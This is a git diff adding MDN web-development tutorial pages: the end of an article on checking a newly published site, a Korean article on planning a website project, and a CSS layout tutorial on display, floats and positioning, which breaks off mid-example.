+<h4 id="404_errors">404 errors</h4>
+
+<p>Many times the error just results just from a typo, but sometimes maybe you either forgot to upload a resource or you lost your network connection while you were uploading your resources. First check the spelling and accuracy of the file path, and if there's still a problem, upload your files again. That will likely fix the problem.</p>
+
+<h4 id="JavaScript_errors">JavaScript errors</h4>
+
+<p>Someone (possibly you) added a script to the page and made a mistake. This will not prevent the page from loading but you will feel something went wrong.</p>
+
+<p>Open the console (<strong>Tools ➤ Web developer ➤ Web Console</strong>) and reload the page:</p>
+
+<p><img alt="A Javascript error is shown in the Console" src="https://mdn.mozillademos.org/files/9659/js-error.png" style="height: 511px; width: 523px;"></p>
+
+<p>In this example, we learn (quite clearly) what the error is, and we can go fix it (we will cover JavaScript in <a href="/en-US/Learn/JavaScript">another series </a>of articles).</p>
+
+<h3 id="More_things_to_check">More things to check</h3>
+
+<p>We have listed a few simple ways to check that your website works properly, as well as the most common errors you may run across and how to fix them. You can also test if your page meets these criteria:</p>
+
+<h4 id="Hows_the_performance">How's the performance?</h4>
+
+<p>Does the page load fast enough? Resources like <a href="http://www.webpagetest.org/">WebPagetest.org</a> or browser add-ons like <a href="https://addons.mozilla.org/en-US/firefox/addon/yslow/">YSlow</a> can tell you a few interesting things:</p>
+
+<p><img alt="Yslow diagnostics" src="https://mdn.mozillademos.org/files/9661/yslow-diagnostics.png" style="height: 766px; width: 637px;"></p>
+
+<p>Grades go from A to F. Our page is just small and meets most criteria. But we can already note it would have been better to use a {{Glossary("CDN")}}. That doesn't matter very much when we're only serving one image, but it would be critical for a high-bandwidth website serving many thousands of images.</p>
+
+<h4 id="Is_the_server_responsive_enough">Is the server responsive enough?</h4>
+
+<p><code>ping</code> is a useful shell tool that tests the domain name you provide and tells you if the server's responding or not:</p>
+
+<pre>$ ping mozilla.org
+PING mozilla.org (63.245.215.20): 56 data bytes
+64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms
+64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms
+64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms
+64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms
+^C
+--- mozilla.org ping statistics ---
+4 packets transmitted, 4 packets received, 0.0% packet loss
+round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms</pre>
+
+<p>Just keep in mind a handy keyboard shortcut: <strong>Ctrl+C</strong>.  Ctrl+C sends an “interrupt” signal to the runtime and tells it to stop.  If you don't stop the runtime, <code>ping</code> will ping the server indefinitely.</p>
+
+<h3 id="A_simple_checklist">A simple checklist</h3>
+
+<ul>
+ <li>Check for 404s</li>
+ <li>Make sure all webpages are behaving as you expect</li>
+ <li>Check your website in several browsers to make sure it renders consistently</li>
+</ul>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>Congratulations, your website is up and running for anyone to visit. That's a huge achievement. Now, you can start digging deeper into various subjects.</p>
+
+<ul>
+ <li>Since people can come to your website from all over the world, you should consider making it <a href="/en-US/docs/Learn/What_is_accessibility">accessible to everybody</a>.</li>
+ <li>Is the design of your website a bit too rough? It's time to <a href="/en-US/docs/Learn/CSS/Using_CSS_in_a_web_page">learn more about CSS</a>.</li>
+</ul>
diff --git a/files/ko/learn/common_questions/코딩하기_전에_생각하기/index.html b/files/ko/learn/common_questions/코딩하기_전에_생각하기/index.html
new file mode 100644
index 0000000000..8885c5999b
--- /dev/null
+++ b/files/ko/learn/common_questions/코딩하기_전에_생각하기/index.html
@@ -0,0 +1,176 @@
+---
+title: 나의 웹사이트를 설계하기 위해서는?
+slug: Learn/Common_questions/코딩하기_전에_생각하기
+tags:
+  - 능동학습필요
+  - 초보자
+translation_of: Learn/Common_questions/Thinking_before_coding
+---
+<p class="summary">이 글은 모든 프로젝트에서 중요한 첫 단계  - 프로젝트를 통해 달성하고 싶은 것을 정의하기 - 를 다룬다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선이수:</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>웹 프로젝트 방향 설정을 위해 목적을 정하는 법을 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p><span class="seoSummary">웹 프로젝트를 시작할 때, 많은 사람들은 기술적인 면에 집중한다. 물론 자기 분야의 기술에 익숙해야한다. 그러나 </span>정말 중요한건 무엇을 달성하고 싶은가이다. 당연한 이야기같지만, 생각보다 많은 프로젝트들이 기술적 방법의 부족이 아닌, 목적과 전망의 부족으로 실패한다.</p>
+
+<p>따라서 아이디어를 얻고, 그것을 웹 사이트로 만들고 싶을 때, 다른 것보다 먼저 대답해야할 질문이 있다.</p>
+
+<ul>
+ <li>내가 달성하고 싶은 것은 정확히 무엇인가?</li>
+ <li>내 목적 달성을 웹사이트가 어떻게  돕는가?</li>
+ <li>목적 달성을 위해 무엇을, 어떤 순서로 해야할까?</li>
+</ul>
+
+<p>이러한 것들을 프로젝트 관념(ideation)이라 한다. 당신이 초보자든 숙련된 개발자든 목표에 도달하기 위해 반드시 거쳐야 할 첫 단계이다.</p>
+
+<h2 id="능동_학습">능동 학습</h2>
+
+<p><em>아직 가능한 능동 학습이 없다. <a href="https://developer.mozilla.org/ko/docs/MDN/Getting_started">기여를 고민해보라</a>.</em></p>
+
+<h2 id="깊게_들어가기">깊게 들어가기</h2>
+
+<p>프로젝트는 절대 기술에서 시작하지 않는다. 음악가는 무엇을 연주할 지 정하기 전엔 어떤 음악도 만들지 않는다. 화가, 작가, 그리고 웹 개발자도 마찬가지다. 기술은 다음이다.</p>
+
+<p>기술은 분명히 중요하다. 음악가는 기악을 완성해야 한다. 그러나 좋은 음악가는 절대 생각없이 좋은 음악을 만들수 없다. 그러므로 코드와 툴같은 기술로 뛰어들기 전에, 한 걸음 물러서서 하고 싶은 것을 상세히 결정해야 한다.</p>
+
+<p>친구와 함께하는 한 시간의 토론은 좋은 시작이지만 부족하다. 생각을 현실로 만들 길의 탁 트인 전망을 얻으려면 앉아서 생각을 구조화해야한다. 이것을 하기 위해서, 오직 펜과 종이 그리고 적어도 다음 질문에 대한 답할 시간이 필요하다.</p>
+
+<div class="note">
+<p><strong>메모:</strong> 프로젝트 관념화를 수행하기 위한 셀 수 없는 방법들이 있다. 우리는 여기에 그것들을 모두 제시할 수는 없다. (책 전체로는 충분하지 않을 것이다). 이 곳에 주는 것은 전문가들이  <a href="http://en.wikipedia.org/wiki/Ideation_(idea_generation)">Project Ideation(관념화)</a>, <a href="http://en.wikipedia.org/wiki/Project_planning">Project Planning(계획)</a> 그리고 <a href="http://en.wikipedia.org/wiki/Project_management">Project Management(관리)</a> 라고 부르는 것을 다루는 단순한 방법이다.</p>
+</div>
+
+<h3 id="내가_정확히_달성하고_싶은_것은_무엇인가">내가 정확히 달성하고 싶은 것은 무엇인가?</h3>
+
+<p>이것은 대답해야 하는 가장 중요한 질문이다. 왜냐하면, 이것이 다른 모든 것을 만들기 때문이다. 도달하고 싶은 모든 목표를 목록화해라. 그것은 무엇일 수도 있다: 돈을 벌기 위해 물건 팔기, 정치적인 의견 표현하기, 새로운 친구 만들기,  음악가들과 공연하기, 고양이 사진 모으기, 또는 원하는 무엇이든.</p>
+
+<p>당신이 음악가라고 생각해보자. 이런걸 원할 수 있다.</p>
+
+<ul>
+ <li>다른 사람들이 내 음악을 듣게 하기</li>
+ <li>관련 상품 팔기 </li>
+ <li>다른 음악가들과 만나기</li>
+ <li>내 음악에 대해 이야기하기</li>
+ <li>동영상으로 음악 가르치기</li>
+ <li>내 고양이 사진 출판하기</li>
+ <li>새로운 애인 찾기</li>
+</ul>
+
+<p>일단 이런 리스트를 만들고 나면, 우선순위를 정하는 것이 필요하다. 가장 중요한 것부터 덜 중요한 것까지 목표를 정렬해라.</p>
+
+<ol>
+ <li>새로운 애인 찾기</li>
+ <li>다른 사람들이 내 음악을 듣게 하기</li>
+ <li>내 음악에 대해 이야기하기</li>
+ <li>다른 음악가들과 만나기</li>
+ <li>관련 상품 팔기 </li>
+ <li>동영상으로 음악 가르치기</li>
+ <li>내 고양이 사진 출판하기</li>
+</ol>
+
+<p>단순한 목표 쓰기와 순위 정하기가 만들고 싶은 것을 결정할 때, 도움이 될 것이다. (내가 이런 특징을 구현해야할까, 이런 서비스를 사용해야할까, 이런 디자인을 만들어야할까?)</p>
+
+<p>우선순위가 정리된 목적 기록부가 생겼으니, 다음 질문으로 이동하자.</p>
+
+<h3 id="어떻게_웹사이트가_나를_목적지로_데려다_줄_수_있을까">어떻게 웹사이트가 나를 목적지로 데려다 줄 수 있을까?</h3>
+
+<p>그래서 당신은 목표 리스트를 가지고 있고, 그 목표들을 이루기위해 웹사이트가 필요하다고 느낍니다. 확실합니까?</p>
+
+<p>우리의 예를 다시 봅시다. 우리는 음악에 관련된 5개의 목표, 개인 삶(소중한 사람 찾기)에 관련된 하나의 목표 그리고, 완전히 상관없는 고양이 사진을 가지고 있습니다. 이 모든 목표들을 다루기 위한 하나의 웹사이트를 만드는 것이 합리적입니까? 그것이 필요할까요? 결국에, 많은 기존의 웹 서비스는 새로운 웹사이트를 만들지 않고 당신의 목표를 가져다 줄 지 모릅니다.</p>
+
+<p>애인을 찾는 것은 새로운 웹사이트를 구축하는 것보다 기존의 자원을 사용하는 것이 더 알맞다는 점에서 중요한 케이스입니다. 왜? 왜냐하면 우리가 실제로 애인을 찾는 것보다 웹사이트를 구축하고 유지하는 데 더 많은 시간을 소비하기 때문입니다. 우리의 목표가 가장 중요하기 때문에, 우리는 처음부터 시작하는 것보다는 기존의 툴을 레버리징(leveraging )하는 것에 에너지를 써야합니다. 다시, 사진을 보여주기 위해 이용할 수 있는 이미 너무 많은 웹서비스가 있습니다 그래서 우리의 고양이가 얼마나 귀여운 지에 대한 것을 퍼뜨리기 위해 새로운 사이트를 구축하는 데 노력할 가치가 없습니다.</p>
+
+<p>음악과 연관된 다른 5개의 목표가 있습니다. 물론, 이런 목표들을 다룰 수 있는 많은 웹서비스가 있습니다. 그러나, 우리만을 위한 웹사이트를 구축하는 경우에는 이해가 됩니다. 그런 웹사이트는 하나의 공간에 퍼블리싱하고 싶은 모든 항목을 합치는 것과 (목표 3, 5, 6에 적합) 그리고 우리와 대중 사이에 상호작용을 장려하는 것에 (목표 2, 4) 가장 좋은 방법입니다. 다시 말해서, 이런 목표들이 같은 주제를 중심으로 돌기 때문에, 한 곳에 모든 것을 가지는 것이 우리의 목표를 충족하고, 팔로어들과 연결하는 데 도움이 될 것입니다.</p>
+
+<p>어떻게 웹사이트가 나의 목표를 달성하는 데 도움이 될까요? 그것에 답함으로써, 우리는 우리의 목표를 달성하는 데 가장 좋은 방법을 찾을 것이고, 노력이 낭비되지 않도록 할 것입니다.</p>
+
+<h3 id="내_목표를_달성하기_위해_무엇을_어떤_순서로_해야할까">내 목표를 달성하기 위해, 무엇을, 어떤 순서로 해야할까?</h3>
+
+<p>이제 우리가 달성하고 싶은 것을 알고 있으므로, 그 목표들을 실행가능한 단계로 바꿀 시간입니다.</p>
+
+<p>긴 설명을 하기 보다는 이 표로 우리의 예제를 돌아봅시다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">목표</th>
+   <th scope="col">해야할 것</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">사람들이 당신의 음악을 듣게 하기</td>
+   <td>
+    <ol>
+     <li>음악을 녹음한다.</li>
+     <li>온라인에서 사용할 수 있는 몇몇의 오디오 파일을 준비힌다. (기존의 웹서비스로 이것을 할 수 있을까?)</li>
+     <li>사람들에게 당신의 웹사이트의 일부에서 당신의 음악에 접근하게 한다.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">음악에 대해 이야기하기</td>
+   <td>
+    <ol>
+     <li>토의를 시작하기 위한 몇몇의 글을 쓴다.</li>
+     <li>어떻게 글이 보여야 하는 지 정해라.</li>
+     <li>웹사이트에 이 글을 게시해라 (어떻게 이것을 할까?)</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">다른 음악가들 만나기</td>
+   <td>
+    <ol>
+     <li>사람들이 너와 연락할 방법을 제공해라.</li>
+     <li>너의 웹사이트에서 어떻게 사람들이 연락 채널을 찾을 지 정해라.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">goodies 팔기</td>
+   <td>
+    <ol>
+     <li>goodies 만든다.</li>
+     <li>goodies 저장한다.</li>
+     <li>쇼핑을 하는 방식 찾는다.</li>
+     <li>결제 방식 찾는다.</li>
+     <li>사이트에서 사람들의 주문 메카니즘 만든다.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">동영상을 통해 음악 가르치기</td>
+   <td>
+    <ol>
+     <li>동영상 강의 녹화한다.</li>
+     <li>온라인에서 볼 수 있는 동영상 파일 준비한다. (다시, 기존의 웹사이트에서 할 수 있을까?)</li>
+     <li>웹사이트의 한 부분에서 비디오 접근 가능하게 한다.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>공지할 것이 두 개가 있다. 첫째, 이런 아이템 중 몇몇은 웹과 상관이 없다. (예를 들어, 음악 녹음, 글 쓰기) 종종 그런 오프라인 활동이 프로젝트의 웹 부분보다 훨씬 더 중요하다. 예를 들어, 판매의 경우에, 공급, 결제, 배달에 시간을 쓰는 것이 사람들이 주문할 수 있는 웹사이트를 만드는 것보다 훨씬 더 중요하다.</p>
+
+<p>둘째, 실행가능한 단계를 설정하는 것은 우리가 답할 필요가 있는 새로운 질문을 이끌어 낸다. 종종 우리가 본래 생각했던 것보다 더 많은 질문으로 변한다. (예를 들어, 내가 혼자서 어떻게 이것을 배워야할까? 누군가에게 이것을 부탁할까? 서드파티(제 3의) 서비스를 사용해야할까?)</p>
+
+<h2 id="결론">결론</h2>
+
+<p>당신이 본 것 처럼, "나는 웹사이트를 만들고 싶다" 라는 단순한 생각이 긴 해야할 목록을 만들었다. 그리고 그것은 생각하면 할 수록 더 길어진다. 금방 그것은 압도적으로 보일 것이다. 그러나 겁먹지 마라. 당신은 모든 질문에 대답할 필요는 없다. 그리고 당신은 리스트에 모든 것을 할 필요는 없다. 중요한 것은 원하는 것과 도달하는 법에 대한 비전을 가지고 있어야하는 것이다. 일단 분명한 비전이 있다면, 당신은 해야할 때와 하는 방법을 결정할 필요가 있다. 큰 일을 작은 실행할 수 있는 단계로 부숴라. 그리고 그 작은 단계를 거대한 성과로 합쳐라.</p>
+
+<p>이 글에서, 당신은 웹사이트를 만들기 위한 개략적인 계획을 지금 세울 수 있어야 한다. 다음 단계는 <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">how the Internet works(인터넷이 작동하는 법)</a> 을 읽어야 할 것이다.</p>
+
+<p> </p>
diff --git a/files/ko/learn/css/basics/layout/index.html b/files/ko/learn/css/basics/layout/index.html
new file mode 100644
index 0000000000..50cfb20039
--- /dev/null
+++ b/files/ko/learn/css/basics/layout/index.html
@@ -0,0 +1,408 @@
+---
+title: Introduction to CSS Layout
+slug: Learn/CSS/Basics/Layout
+translation_of: Learn/CSS/CSS_layout/Introduction
+---
+<p>{{PreviousNext("Learn/CSS/Basics/Box_model","Learn/CSS/Howto/style_text")}}</p>
+
+<p class="summary"><span class="seoSummary">CSS layout is the art of using various CSS properties to alter the positioning of elements on a document in order to fit the design requirements.</span> CSS provides many layout mechanisms, the more advanced and modern techniques are so complex that they get their own articles. In this article, we will introduce the basic techniques that have been used for years.</p>
+
+<p>To properly layout a document with CSS, there are a few notions that one must know. The most important of these is {{Glossary("HTML")}} text flow. We will cover it in this article. Articles about other layout mechanisms will, at some point or the other, refer back to what we are discussing here.</p>
+
+<h2 id="The_flow">The flow</h2>
+
+<p>At its most basic level an HTML document is a text document structured with {{Glossary("tag","tags")}}. In such a document, the text <em>flows</em>. That means text is displayed in the reading direction (from left to right, for example, in Latin based languages like English or French) and is broken automatically - creating new lines - each time the text reaches an edge of the document.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11955/line-break-flow.svg" style="height: auto; max-width: 450px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11955/line-break-flow.svg#large" style="height: auto; max-width: 450px;"></p>
+
+<p>Each {{Glossary("element","elements")}} in the document alters the flow of text in various ways:</p>
+
+<ul>
+ <li>Some elements can simply follow the text flow as if they were non-existent.</li>
+ <li>Some elements can force a line break at any point in the flow whether it has reached the edge of the document or not.</li>
+ <li>Some elements can create a new text flow for their inner content independent from the main text flow.</li>
+</ul>
+
+<h3 id="디스플레이_요소_(Elements_display_categories)">디스플레이 요소 (Elements display categories)</h3>
+
+<p>CSS is used to define how an HTML element behaves within the flow and how it get in and out of that flow. The element behavior is defined using the property {{cssxref('display')}}. This property can take tons of values but let's focus on the four most important:</p>
+
+<dl>
+ <dt>none</dt>
+ <dd>모든 요소를 제거 합니다.</dd>
+ <dt>inline</dt>
+ <dd>줄을 바꾸지 않고, 해당 위치에서 다른 요소들과 같은 선상에 위치하려는 성질을 말합니다. </dd>
+ <dt>block</dt>
+ <dd>This value is for the element to break the text flow with a forced line break before and after it. Its content is no longer part of the global text flow and flows only within the constraints provided by the element <a href="/en-US/docs/Learn/CSS/Basics/Box_model">box model</a>.</dd>
+ <dt>inline-block</dt>
+ <dd>This value makes the element somewhat in between inline and block type display: like <code>inline</code> boxes it flows with the text normally but, like block boxes, it's content is no longer part of the global text.</dd>
+</dl>
+
+<p>Let's see an example.</p>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;p class="none"&gt;
+  1. I'm a big black cat,
+  &lt;span&gt;walking under a ladder,&lt;/span&gt;
+  and I can see broken mirrors everywhere.
+&lt;/p&gt;
+
+&lt;p class="inline"&gt;
+  2. I'm a big black cat,
+  &lt;span&gt;walking under a ladder,&lt;/span&gt;
+  and I can see broken mirrors everywhere.
+&lt;/p&gt;
+
+&lt;p class="block"&gt;
+  3. I'm a big black cat,
+  &lt;span&gt;walking under a ladder,&lt;/span&gt;
+  and I can see broken mirrors everywhere.
+&lt;/p&gt;
+
+&lt;p class="inline-block"&gt;
+  4. I'm a big black cat,
+  &lt;span&gt;walking under a ladder,&lt;/span&gt;
+  and I can see broken mirrors everywhere.
+&lt;/p&gt;
+</pre>
+
+<p>CSS:</p>
+
+<pre class="brush: css">span {
+  width: 5em;
+  background: yellow;
+}
+
+.none span         { display: none;         }
+.inline span       { display: inline;       }
+.block span        { display: block;        }
+.inline-block span { display: inline-block; }</pre>
+
+<p>Results:</p>
+
+<p>{{EmbedLiveSample('Elements_display_categories', '100%', '300px')}}</p>
+
+<h2 id="Altering_the_flow">Altering the flow</h2>
+
+<p>By setting the display property you're already altering the flow, but you can go further.</p>
+
+<h3 id="Text_layout">Text layout</h3>
+
+<p>While an HTML document is nothing more than a long text flow, CSS provides many properties to deal with simple text layout. The text layout is everything that allows changing the text line breaking rules and the way the text is positioned over the natural text line.</p>
+
+<p>Those properties are: {{cssxref("hyphens")}}, {{cssxref("text-align")}}, {{cssxref("text-align-last")}}, {{cssxref("text-indent")}}, {{cssxref("vertical-align")}}, {{cssxref("white-space")}}, {{cssxref("word-break")}}, and {{cssxref("word-wrap")}}.</p>
+
+<p>Except for <code>text-align and<font face="Open Sans, Arial, sans-serif">, </font></code><code>text-indent </code>the other properties have subtle effects on the text and <code>vertical-align</code> is often used with inline-block boxes.</p>
+
+<p>An example will make things clearer.</p>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;p lang="en"&gt;WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.&lt;/p&gt;
+&lt;p class="format" lang="en"&gt;WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.&lt;/p&gt;
+</pre>
+
+<p>CSS:</p>
+
+<pre class="brush: css">.format {
+  /* The first line is "pull" to a 2em distance */
+  text-indent: -2em;
+
+  /* We need to compensate the negative indent
+     to avoid unwanted text clipping and keep
+     the whole text within the boundary of its
+     element box */
+  padding-left: 2em;
+
+  /* The text is aligned on both edges, adjusting
+     spacing between words as necessary */
+  text-align: justify;
+
+  /* The last line of the block of text is centered */
+  -moz-text-align-last: center;
+       text-align-last: center;
+
+  /* Rather than line break between two words the line
+     break can occur inside words, according to the rules
+     defined for the text language. This makes nice word cut
+     with a clear hyphen dash. If you don care about word
+     breaking rules, you could just use word-break or
+     word-wrap instead  */
+  -webkit-hyphens: auto;
+     -moz-hyphens: auto;
+      -ms-hyphens: auto;
+          hyphens: auto;
+}</pre>
+
+<div class="note">
+<p>As you might notice, some properties are written multiple times with some prefix. This is because those prefixed properties are still experimental for some browsers and it is considered best practice to use them all with the standard property at the end of the list in order to provide the best backward compatibility possible.</p>
+</div>
+
+<p>Results:</p>
+
+<p>{{ EmbedLiveSample('Text_layout', '100%', '350') }}</p>
+
+<div class="note">
+<p>It's worth noting that the trick we used to compensate the negative text indentation is a very common trick. Any property that accepts a length also accepts negative values. By fiddling with negative values and compensating them with other properties,  it's possible to produce very clever effects on the layout, especially when it applies to properties of the box model.</p>
+</div>
+
+<h3 id="Floating">Floating</h3>
+
+<p>Okay, handling text is nice, but at some point what we really want is to move boxes around the document. The first way to handle that is to deal with floating boxes. Floating boxes are still attached to the global text flow,  but the text will flow around. Sounds weird, so let's see an example.</p>
+
+<h4 id="Simple_floating">Simple floating</h4>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="excerpt"&gt;"Why, it isn't possible," said Scrooge, "that I can have slept through a whole day and far into another night. It isn't possible that anything has happened to the sun, and this is twelve at noon!" &lt;/p&gt;
+  &lt;p&gt; The idea being an alarming one, he scrambled out of bed, and groped his way to the window. He was obliged to rub the frost off with the sleeve of his dressing-gown before he could see anything; and could see very little then. All he could make out was, that it was still very foggy and extremely cold, and that there was no noise of people running to and fro, and making a great stir, as there unquestionably would have been if night had beaten off bright day, and taken possession of the world. This was a great relief, because "three days after sight of this First of Exchange pay to Mr. Ebenezer Scrooge or his order," and so forth, would have become a mere United States' security if there were no days to count by.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>CSS:</p>
+
+<pre class="brush: css">.excerpt {
+  /* A floating box will act like a block whatever
+     the value of display we are using */
+  display: block;
+
+  /* Our box is floating to the left, which means
+     it will stack on the left side of the containing
+     block and the text will flow on its right side. */
+  float: left;
+
+  /* It is required to set a width to a floating box.
+     If we don't its width will be set
+     automatically, which means that it will grow as much
+     as possible and nothing will flow around it, like an
+     ordinary block box */
+  width: 40%;
+
+  /* We set some margins on the right and bottom side of
+     the box to avoid having the text flowing around being
+     in direct visual contact of our floating box */
+  margin: 0 1em 1em 0;
+
+  /* We make our floating box more visible with
+     a simple background color */
+  background: lightgrey;
+
+  /* As we have a solid background color it's a nice idea
+     to push the content a little bit away from the edges
+     of the box */
+  padding: 1em;
+}</pre>
+
+<p>Results:</p>
+
+<p>{{ EmbedLiveSample('Simple_floating', '100%', '280') }}</p>
+
+<h4 id="Layout_with_floating">Layout with floating</h4>
+
+<p>This is a very simple effect to start tweaking the flow to our wishes. Now it's possible to do better and start performing some true layout. A floating box that floats in a given direction stacks horizontally, it's a very convenient way to create rows of boxes instead of natural columns: In the flow, block boxes stack in columns and floating boxes stack in rows.</p>
+
+<p>Once again, an example will make things clearer.</p>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;div class="layout"&gt;
+  &lt;div class="row"&gt;
+    &lt;p class="cell size50"&gt;Scrooge went to bed again, and thought, and thought, and thought it over and over and over, and could make nothing of it. The more he thought, the more perplexed he was; and the more he endeavoured not to think, the more he thought.&lt;/p&gt;
+    &lt;p class="cell size50"&gt;Marley's Ghost bothered him exceedingly. Every time he resolved within himself, after mature inquiry, that it was all a dream, his mind flew back again, like a strong spring released, to its first position, and presented the same problem to be worked all through, "Was it a dream or not?"&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div class="row"&gt;
+    &lt;p class="cell size100"&gt;Scrooge lay in this state until the chime had gone three quarters more, when he remembered, on a sudden, that the Ghost had warned him of a visitation when the bell tolled one. He resolved to lie awake until the hour was passed; and, considering that he could no more go to sleep than go to Heaven, this was perhaps the wisest resolution in his power.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div class="row"&gt;
+    &lt;p class="cell size33"&gt;The quarter was so long, that he was more than once convinced he must have sunk into a doze unconsciously, and missed the clock. At length it broke upon his listening ear.&lt;/p&gt;
+    &lt;p class="cell size33"&gt;
+      "Ding, dong!"&lt;br&gt;
+      "A quarter past," said Scrooge, counting.&lt;br&gt;
+      "Ding, dong!"&lt;br&gt;
+      "Half-past!" said Scrooge.&lt;br&gt;
+      "Ding, dong!"&lt;br&gt;
+      "A quarter to it," said Scrooge.&lt;br&gt;
+      "Ding, dong!"&lt;br&gt;
+      "The hour itself," said Scrooge, triumphantly, "and nothing else!"
+    &lt;/p&gt;
+    &lt;p class="cell size33"&gt;
+      He spoke before the hour bell sounded, which it now did with a deep, dull, hollow, melancholy ONE. Light flashed up in the room upon the instant, and the curtains of his bed were drawn.
+    &lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>CSS:</p>
+
+<pre class="brush: css">/* This is our main layout container */
+.layout {
+  /* A background makes it visible */
+  background: lightgrey;
+
+  /* We add a small visual spacing to harmonize
+     the distance between the cells content and
+     and the layout border */
+  padding   : 0.5em;
+}
+
+/* A floating box gets somewhat out of
+   the flow, so if their container is empty
+   it will have a zero height size and the
+   floating box will overflow it. To
+   avoid such a situation, we make sure floating
+   boxes are not allowed to overflow. In
+   that specific context, with an overflow
+   hidden, floating boxes won't be clipped,
+   the parent box will extend to avoid any
+   floating box overflow.  */
+.row {
+  overflow: hidden;
+}
+
+/* Each cell is a left floating box */
+.cell {
+  float : left;
+
+  /* we add padding to our cell to create
+     some nice visual gutters between them */
+  padding   : 0.5em;
+
+  /* Because we are adding padding, we need
+     to be sure that it will not impact
+     the box width. */
+  box-sizing: border-box;
+
+  /* As margins cannot be controlled with the
+     box-sizing property, we need to be sure
+     there is none applied to our cell. */
+  margin    : 0;
+}
+
+/* Those are the sizes we can apply to our boxes */
+.size33  { width:  33%; } /* Not exactly a third, but good enough */
+.size50  { width:  50%; } /* A half */
+.size100 { width: 100%; } /* A full row */</pre>
+
+<p>Results:</p>
+
+<p>{{ EmbedLiveSample('Layout_with_floating', '100%', '520') }}</p>
+
+<p>Using floating boxes this way, is what many CSS frameworks do. It's a robust and well-known technique but it has limits as everything must go with the flow: it's not possible to handle boxes in arbitrary order, variable sizing can be quite tricky to achieve, and vertical centering is impossible. We encourage you to dig deeper as <a href="http://www.positioniseverything.net/articles/onetruelayout/">floating boxes has been studied for long</a> and they are among the most robust solutions for a simple layout that must be compatible with legacy browsers.</p>
+
+<p>If you want to better understand all the subtleties of floating boxes, we encourage you to read <em><a href="https://css-tricks.com/all-about-floats/">All about float</a></em> by Chris Coyer.</p>
+
+<h3 id="Positioning">Positioning</h3>
+
+<p>If floating boxes are still part of the flow, another mechanism exists to perform some layouts by extracting boxes out of the flow: CSS Positioning. Positioning is acheived by defining a positioning context with the {{cssxref("position")}} property and then allows boxes to be positioned using {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}} properties.</p>
+
+<p>The {{cssxref("position")}} property can take on four different values:</p>
+
+<dl>
+ <dt>static</dt>
+ <dd>This is the default value for all elements: they are part of the flow and don't define any specific positioning context.</dd>
+ <dt>relative</dt>
+ <dd>With this value, elements are still part of the flow, but they can be visually moved around their positions with {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}}. They also define a positioning context for their children elements.</dd>
+ <dt>absolute</dt>
+ <dd>With this value, elements are pushed out of the flow and no longer influence it. The position of such blocks is defined by the {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}} properties. The 0,0 position point for the top/left corner of the box is the top/left corner of the closest parent element which defines a positionning context other than <em>static</em>. If there is no parent with a positioning context, then, the 0,0 position point for the top/left corner of the box is the top/left corner of the document.</dd>
+ <dt>fixed</dt>
+ <dd>With this value, elements are pushed out of the flow and no longer influence it. The position of such blocks is define by the {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}} properties. The 0,0 position point for the top/left corner of the box is the top/left corner of the browser window {{Glossary("viewport")}}.</dd>
+</dl>
+
+<p>Such positioned boxes can stack on top of each other. In that case, it's possible to change the stacking order by using the {{cssxref("z-index")}} property.</p>
+
+<p>Okay, let's see an example to visualize it at work.</p>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;div class="relative"&gt;
+    &lt;div class="absolute-one"&gt;
+        &lt;p&gt;Position:absolute&lt;/p&gt;&lt;/br&gt;
